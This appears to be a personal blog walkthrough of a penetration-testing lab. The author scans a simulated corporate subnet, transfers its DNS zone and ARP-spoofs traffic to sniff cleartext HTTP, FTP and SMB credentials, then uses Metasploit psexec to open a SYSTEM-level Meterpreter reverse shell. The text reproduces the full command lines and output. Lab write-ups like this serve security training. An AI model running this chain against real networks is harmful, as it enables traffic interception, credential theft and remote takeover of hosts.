We are given this lab overview
and the following scope of engagement:
The scope provided by the client is any host and device in the network 172.16.5.0/24
The tasks of this lab would be to sniff the traffic traversing the network, search for and analyze credentials and exploit them to launch a meterpreter shell on one of the hosts.
As always we begin with the ping sweep to discover alive hosts. Our IP is 172.16.5.100
root@Kali:~# nmap -sn -n 172.16.5.0/24
Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-22 23:18 +08
Nmap scan report for 172.16.5.1
Host is up (0.038s latency).
MAC Address: 00:50:56:A1:CD:6D (VMware)
Nmap scan report for 172.16.5.5
Host is up (0.039s latency).
MAC Address: 00:50:56:A1:E3:1B (VMware)
Nmap scan report for 172.16.5.6
Host is up (0.039s latency).
MAC Address: 00:50:56:A1:F8:0B (VMware)
Nmap scan report for 172.16.5.10
Host is up (0.10s latency).
MAC Address: 00:50:56:A1:82:7E (VMware)
Nmap scan report for 172.16.5.100
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 11.99 seconds
Next the indepth service and OS scan
root@Kali:~# nmap -sV -n -Pn 172.16.5.1,5,6,10 Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-22 23:39 +08 Nmap scan report for 172.16.5.1 Host is up (0.039s latency). All 1000 scanned ports on 172.16.5.1 are filtered MAC Address: 00:50:56:A1:CD:6D (VMware) Nmap scan report for 172.16.5.5 Host is up (0.24s latency). Not shown: 991 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 1025/tcp open msrpc Microsoft Windows RPC 1026/tcp open msrpc Microsoft Windows RPC 1027/tcp open msrpc Microsoft Windows RPC 1028/tcp open msrpc Microsoft Windows RPC 1029/tcp open msrpc Microsoft Windows RPC 3389/tcp open ssl/ms-wbt-server? MAC Address: 00:50:56:A1:E3:1B (VMware) Service Info: Host: WKST-TECHSUPPOR; OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 172.16.5.6 Host is up (0.24s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Service MAC Address: 00:50:56:A1:F8:0B (VMware) Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp Nmap scan report for 172.16.5.10 Host is up (0.24s latency). Not shown: 992 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds 1027/tcp open msrpc Microsoft Windows RPC 1029/tcp open msrpc Microsoft Windows RPC 1030/tcp open msrpc Microsoft Windows RPC 3389/tcp open ms-wbt-server Microsoft Terminal Service MAC Address: 00:50:56:A1:82:7E (VMware) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 4 IP addresses (4 hosts up) scanned in 684.31 seconds
172.16.5.1 has no services running and is likely the default gateway for the subnet so let’s confirm it by printing the routing table.
root@Kali:~# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.92.2 0.0.0.0 UG 100 0 0 eth0
10.10.10.0 172.16.5.1 255.255.255.0 UG 0 0 0 tap0
172.16.5.0 0.0.0.0 255.255.255.0 U 0 0 0 tap0
192.168.92.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
Great, we identified the default gateway. Note the services running. We have one DNS server, while all the hosts so far have NetBIOS sharing services running. Just to make sure we don’t miss other UDP only DNS servers we do a UDP scan as well
root@Kali:~# nmap -sU -p53 -Pn 172.16.5.1,5,6,10 Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-22 23:39 +08 Nmap scan report for 172.16.5.1 Host is up (0.041s latency). PORT STATE SERVICE 53/udp open|filtered domain MAC Address: 00:50:56:A1:CD:6D (VMware) Nmap scan report for 172.16.5.5 Host is up (0.041s latency). PORT STATE SERVICE 53/udp open|filtered domain MAC Address: 00:50:56:A1:E3:1B (VMware) Nmap scan report for 172.16.5.6 Host is up (0.087s latency). PORT STATE SERVICE 53/udp closed domain MAC Address: 00:50:56:A1:F8:0B (VMware) Nmap scan report for 172.16.5.10 Host is up (0.066s latency). PORT STATE SERVICE 53/udp open domain MAC Address: 00:50:56:A1:82:7E (VMware) Nmap done: 4 IP addresses (4 hosts up) scanned in 1.16 seconds
Nothing new learned. As with the previous post, lets enumerate the DNS server with the nmap brute force script
root@Kali:~# nmap --dns-servers 172.16.5.10 --script dns-brute --script-args dns-brute.domain=sportsfoo.com
Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-22 23:55 +08
Pre-scan script results:
| dns-brute:
| DNS Brute-force hostnames:
| intranet.sportsfoo.com - 10.10.10.10
|_ ftp.sportsfoo.com - 10.10.10.6
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 18.17 seconds
So it seems that 10.10.10.6 is an FTP server. Ok, so let’s see if we are lucky and if this DNS server supports promiscuous DNS zone transfer. As it turns out it does
root@Kali:~# dig @172.16.5.10 -t axfr sportsfoo.com
; <<>> DiG 9.10.3-P4-Debian <<>> @172.16.5.10 -t axfr sportsfoo.com
; (1 server found)
;; global options: +cmd
sportsfoo.com. 3600 IN SOA els-winser2003.sportsfoo.com. hostmaster.sportsfoo.com. 19 900 600 86400 3600
sportsfoo.com. 3600 IN NS els-winser2003.sportsfoo.com.
sportsfoo.com. 3600 IN NS els-winser2003.sports.com.
els-winser2003.sportsfoo.com. 3600 IN A 172.16.5.10
ftp.sportsfoo.com. 3600 IN A 10.10.10.6
intranet.sportsfoo.com. 3600 IN A 10.10.10.10
wkst-finance.sportsfoo.com. 3600 IN A 172.16.5.6
wkst-techsupport.sportsfoo.com. 3600 IN A 172.16.5.5
sportsfoo.com. 3600 IN SOA els-winser2003.sportsfoo.com. hostmaster.sportsfoo.com. 19 900 600 86400 3600
;; Query time: 495 msec
;; SERVER: 172.16.5.10#53(172.16.5.10)
;; WHEN: Fri Nov 23 00:00:07 +08 2018
;; XFR size: 9 records (messages 9, bytes 620)
That saves us the trouble of doing a reverse DNS lookup enumeration. Note the 10.10.10.0/24 hosts. These are hosts not previously discovered because they’re outside of 172.16.5.0/24 We can also infer that 172.16.5.5 is a tech-support host, whatever that means while 172.16.5.6 is a finance workstation. Probably we could expect some financial information shared by it?
With this information, we can draw a network topology. I did this with Lucidchart since I didn’t want to spend on an overpriced Visio.
We’re next told to sniff traffic between three host pairs to see what we can find.
- 172.16.5.1 and 172.16.5.5
- 172.16.5.1 and 172.16.5.6
- 172.16.5.6 and 172.16.6.10
As before, prior to setting up arpspoof we need to enable ipv4 routing on the our host
root@Kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
What about the other two hosts 10.10.10.6 and 10.10.10.10? Well as they are outside of the scope and subnet does that mean we cannot sniff their traffic? Not quite. Remember because they are outside the subnet, all traffic must pass through the default gateway. And because arpspoofing works on impersonating L2 MAC addresses the first two arpspoof pairs could actually be sniffing traffic between 172.16.5.5,6 and the 10.10.10.0/24 hosts. Oh, and also get Wireshark up and running to capture traffic.
The lab says to capture images between 1, 5. Let’s do that with driftnet
root@Kali:~# driftnet -i tap0 root@Kali:~# arpspoof -i tap0 -t 172.16.5.1 172.16.5.5 root@Kali:~# arpspoof -i tap0 -t 172.16.5.5 172.16.5.1
Almost by magic, some pictures start to appear:
As the nullbyte tutorial mentions, driftnet saves all the sniffed images to /tmp directory. Head over there to copy them elsewhere if you want to keep them after stopping the tool:
Ok, now the next arpspoof pair, pretty much almost the same thing
root@Kali:~# driftnet -i tap0 root@Kali:~# arpspoof -i tap0 -t 172.16.5.1 172.16.5.6 root@Kali:~# arpspoof -i tap0 -t 172.16.5.6 172.16.5.1
And the final arpspoof pair. This one the lab doesn’t say to capture images.
root@Kali:~# arpspoof -i tap0 -t 172.16.5.10 172.16.5.6 root@Kali:~# arpspoof -i tap0 -t 172.16.5.6 172.16.5.10
Save all the Wireshark captures for inspection. Let’s inspect the 172.16.5.1,5 traffic first. I won’t print the log here, but looking through there seems to be HTTP(S) requests to 10.10.10.10:80/443
Wireshark offers a conversation-like TCP stream inspection if you were to right click a TCP packet and Follow TCP Stream. This is what one such looks like
POST /checklogin.php HTTP/1.1
User-Agent: Google Chrome 5.8
Host: intranet.sportsfoo.com
Accept: */*
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
myusername=bcaseiro&mypassword=#MySecretPassword&Submit=LoginHTTP/1.1 302 Found
Date: Thu, 22 Nov 2018 16:43:00 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
location: notheremyfriend.php
Content-Length: 0
Content-Type: text/html
GET /notheremyfriend.php HTTP/1.1
User-Agent: Google Chrome 5.8
Host: intranet.sportsfoo.com
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 22 Nov 2018 16:43:02 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: PHPSESSID=gugqpgao5rcttsp45ci6mv04o0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3975
Content-Type: text/html
Note the submitted username/password above we sniffed. It doesn’t mean this is the correct username/password, just that its one we intercepted. The cheeky HTTP 302 resource relocated code pointing to notheremyfriend.php suggest it isn’t actually the correct login creds.
Amongst the other TCP streams we also find HTTP status codes we also find 404:
POST /sports/checklogin.php HTTP/1.1 User-Agent: Safari 3.6 Host: intranet.sportsfoo.com Accept: */* Content-Length: 46 Content-Type: application/x-www-form-urlencoded myusername=fiona&mypassword=shrek&Submit=Login5c If you entered the URL manually please check your spelling and try again. 4 b 49 If you think this is a server error, please contact the webmaster. HTTP/1.1 404 Not Found Date: Thu, 22 Nov 2018 16:43:06 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 Vary: accept-language,accept-charset Accept-Ranges: bytes Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Content-Language: en
And also the images transferred
GET /images/juventus-italia.png HTTP/1.1 User-Agent: curl/7.28.0 Host: intranet.sportsfoo.com Accept: */* HTTP/1.1 200 OK Date: Thu, 22 Nov 2018 16:43:19 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 Last-Modified: Thu, 08 Nov 2012 18:21:00 GMT ETag: "8da6-4cdffe5a51b00" Accept-Ranges: bytes Content-Length: 36262 Content-Type: image/png .PNG .
Ok. Apart from HTTP we also have FTP traffic streams to analyze. Appended one below, note the top two provenance lines are not from Wireshark but added by myself
Source: 172.16.5.5 Destination: 10.10.10.6:21 220-Microsoft FTP Service 220 All of your actions are being logged for further analysis. USER admin 331 Password required for admin. PASS et1@sR7! 230-Welcome to our FTP Server! Only authorized users are allowed to login. 230 User admin logged in. XPWD 257 "/" is current directory. TYPE I 200 Type set to I. QUIT 221
Recognised FTP commands used above are pwd (print working directory) and TYPE I which specifies image filetype to be transferred. Oh and we also sniffed the user/password too.
From the above TCP streams we can conclude that 10.10.10.10 is a web server while 10.10.10.6 is a FTP server.
Next, we analyse traffic between the 2nd arpspoof pair to find the correct login for accessing intranet.sportsfoo.com. There are many TCP streams to analyze. Here’s one of the wrong ones.
POST /checklogin.php HTTP/1.1 User-Agent: Mozilla 7.0 Host: intranet.sportsfoo.com Accept: */* Content-Length: 50 Content-Type: application/x-www-form-urlencoded myusername=carlos&mypassword=carlinho&Submit=LoginHTTP/1.1 302 Found Date: Thu, 22 Nov 2018 16:29:08 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 location: notheremyfriend.php Content-Length: 0 Content-Type: text/html GET /notheremyfriend.php HTTP/1.1 User-Agent: Mozilla 7.0 Host: intranet.sportsfoo.com Accept: */* HTTP/1.1 200 OK Date: Thu, 22 Nov 2018 16:29:10 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Set-Cookie: PHPSESSID=vk43d96vj2q4tukdo7ku5gpmv6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3975 Content-Type: text/html
Won’t list all the HTTP POST requests and responses for the wrong logins, but here’s the list of wrong ones
myusername=bruno&mypassword=caseiro&Submit=LoginHTTP/1.1 302 Found myusername=michelle&mypassword=morena&Submit=LoginHTTP/1.1 302 Found myusername=aline&mypassword=university01&Submit=LoginHTTP/1.1 302 Found myusername=carlos&mypassword=carlinho&Submit=LoginHTTP/1.1 302 Found
Just one HTTP POST request and reply TCP stream looks different from the rest.
POST /checklogin.php HTTP/1.1 User-Agent: Microsoft Internet Explorer 321 - Don't believe in everything that you see! Host: intranet.sportsfoo.com Accept: */* Content-Length: 56 Content-Type: application/x-www-form-urlencoded myusername=almir&mypassword=Corinthians2012&Submit=LoginHTTP/1.1 302 Found Date: Thu, 22 Nov 2018 16:29:13 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 location: login_success.php Content-Length: 0 Content-Type: text/html GET /login_success.php HTTP/1.1 User-Agent: Microsoft Internet Explorer 321 - Don't believe in everything that you see! Host: intranet.sportsfoo.com Accept: */* HTTP/1.1 200 OK Date: Thu, 22 Nov 2018 16:29:14 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Content-Length: 6066 Content-Type: text/html <!-- Login Successful Click here for logout -->
It returns a login_success.php resource relocated page instead. Remember this username/password. Reviewing the GET requests it seems most if not all were image retrieval ones
GET /images/corinthians.jpeg HTTP/1.1 GET /images/barcelona.jpg HTTP/1.1 GET /images/goalkeepers/taffarel.png HTTP/1.1 GET /images/goalkeepers/cassio.png HTTP/1.1 GET /images/goalkeepers/marcos.jpg HTTP/1.1 GET /images/goalkeepers/buffon.png HTTP/1.1
At this point, we have two logins to try. Fire up a web browser and navigate to 10.10.10.10 We get a page like this. Note as the lab says to load the URL intranet. sportsfoo.com you need to this line to your hosts file to resolve it. In Linux it’s in /etc/hosts
10.10.10.10 intranet.sportsfoo.com
If you login with the creds above, you should see this
Wow. Aren’t those the images captured by driftnet?
Now we’re down to analyzing the last packet capture pair. We have one unanalyzed host, 172.16.5.10 Filtering the packets we see that it broadcasting a NetBIOS name query for WKST-FINANCE<20> (shared folders) and announcing its hostname
Click to enlarge
We found the Finance workstation earlier. There must be some files shared. Wireshark allows us to pick up on file contents if traffic is unencrypted:
\salaries.doc
....................................v.<...........w..{\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fswiss\fcharset0 Arial;}}
{\*\generator Msftedit 5.41.21.2500;}\viewkind4\uc1\pard\b\f0\fs24 Monthly Payment:\par
\par
\b0\fs20 IT Manager - 12,000 USD\par
Sales Manager - 20,000 USD\par
Network Administrator - 5,000 USD\par
IT AUditor - 6,000 USD\par
Technical Support Engineer - 3,000 USD\par
And
\performance.doc
..........<..............{\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fswiss\fcharset0 Arial;}}
{\*\generator Msftedit 5.41.21.2500;}\viewkind4\uc1\pard\b\f0\fs20 ***************************************************************\par
***** Key Personnel of the Technology Team *****\par
*****\tab\tab\tab\tab\tab\tab *****\par
***************************************************************\par
\par
This is the list of the Key Personnel, target of salary increase in 2012:\b0\par
\par
Michelle Gomes\par
Aline Rodrigues\par
Vanessa Araujo\par
Flavia Silva\par
Browsing the Wireshark TCP streams, we find something interesting. Apparently the login username is transmitted in the clear, and it’s the same as that found previously.
Click to enlarge
Perhaps the careless user also reused the same passwords? Also note the domain name and share requested on 172.16.5.10 Perhaps we can try an SMB login with these parameters and credentials?
Our approach now is to try mounting the share on our local machine to browse the contents. Now as anyone knows, mount is difficult to use primarily because of the syntax. After some Googling, I set up the mount commands as follows
root@Kali:~# mount -t cifs //172.16.5.10/finance -o username=almir,password=Corinthians2012 "/root/PTP/Snifffing & MITM/finance"
Doing so mounts the share //172.16.5.10/finance on /root/PTP/Snifffing & MITM/finance:
And there we see the two docs whose contents we just sniffed with Wireshark. Good. These mounted drives behave just like folders on the local hard drive; you can copy them to your own folder to inspect the contents.
Let’s try the \\172.16.5.10\technology share.
Now the mount command on Linux is rather primitive, and actually doesn’t tell you if you entered the wrong password. You will instead see a blank technology folder and from that you can’t tell if the folder is empty or if the password is wrong. Bummer. Initially I thought it was empty or contained the same as the finance share.
Using the other admin login credential mounts the share successfully on our drive
root@Kali:~# mount -t cifs //172.16.5.10/technology -o username=admin,password=et1@sR7! "/root/PTP/Snifffing & MITM/technology"
Ok. Now for the last part of the lab. Drop a meterpreter shell on 172.16.5.10 Should be easy right? Since we already have the login creds, we can use the psexec Metasploit module
At first I was unsuccessful
Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 172.16.5.10 yes The target address RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE finance yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain ELS-WINSER2003 no The Windows domain to use for authentication SMBPass Corinthians2012 no The password for the specified username SMBUser almir no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.16.5.100 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(psexec) > exploit [*] Started reverse TCP handler on 172.16.5.100:4444 [*] 172.16.5.10:445 - Connecting to the server... [*] 172.16.5.10:445 - Authenticating to 172.16.5.10:445|ELS-WINSER2003 as user 'almir'... [*] 172.16.5.10:445 - Selecting native target [*] 172.16.5.10:445 - Uploading payload... [*] 172.16.5.10:445 - Created \xhLQJxRx.exe... [-] 172.16.5.10:445 - ERROR_ACCESS_DENIED opening the Service Manager [*] 172.16.5.10:445 - Deleting \xhLQJxRx.exe... [*] Exploit completed, but no session was created.
What could the problem be? The error msg is never instructive. After some fiddling I managed to launch a meterpreter shell. It seem the problem is that you need admin creds to be used instead. And make sure the creds line up with what you managed to mount successfully.
Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 172.16.5.10 yes The target address RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE technology yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass et1@sR7! no The password for the specified username SMBUser admin no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.16.5.100 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(psexec) > exploit [*] Started reverse TCP handler on 172.16.5.100:4444 [*] 172.16.5.10:445 - Connecting to the server... [*] 172.16.5.10:445 - Authenticating to 172.16.5.10:445| as user 'admin'... [*] 172.16.5.10:445 - Selecting native target [*] 172.16.5.10:445 - Uploading payload... [*] 172.16.5.10:445 - Created \kFZUsBdH.exe... [*] Sending stage (179267 bytes) to 172.16.5.10 [+] 172.16.5.10:445 - Service started successfully... [*] 172.16.5.10:445 - Deleting \kFZUsBdH.exe... [*] Meterpreter session 2 opened (172.16.5.100:4444 -> 172.16.5.10:1060) at 2018-11-24 18:50:55 +0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : ELS-WINSER2003 OS : Windows .NET Server (Build 3790, Service Pack 1). Architecture : x86 System Language : en_US Domain : WORKGROUP Logged On Users : 1 Meterpreter : x86/windows meterpreter > ifconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:50:56:a1:82:7e MTU : 1500 IPv4 Address : 172.16.5.10 IPv4 Netmask : 255.255.255.0 meterpreter >
Ok we’re done.
Post mortem
Just like the previous lab, lets see what else was missed out in the lab by reading solutions. Apparently I missed that it was possible to profile the proportion of packets captured in Wireshark to see. Go to Statistics -> Protocol Hierachy and you’ll see this
From the above, FTP packets make up 1.2%, HTTP 2.5% while ARP 12.9% of the total packets. We can also list the HTTP requests made with Statistics -> HTTP -> Requests
Wireshark also allows us to retrieve images exchanged in the packet capture. Go to File -> Export objects -> HTTP
There are other options like SMB which allow you to save files sent over NetBIOS-TCP too. All these can be extracted from the .pcapng file. Amazing isn’t it?
Ivan's IT learning blog 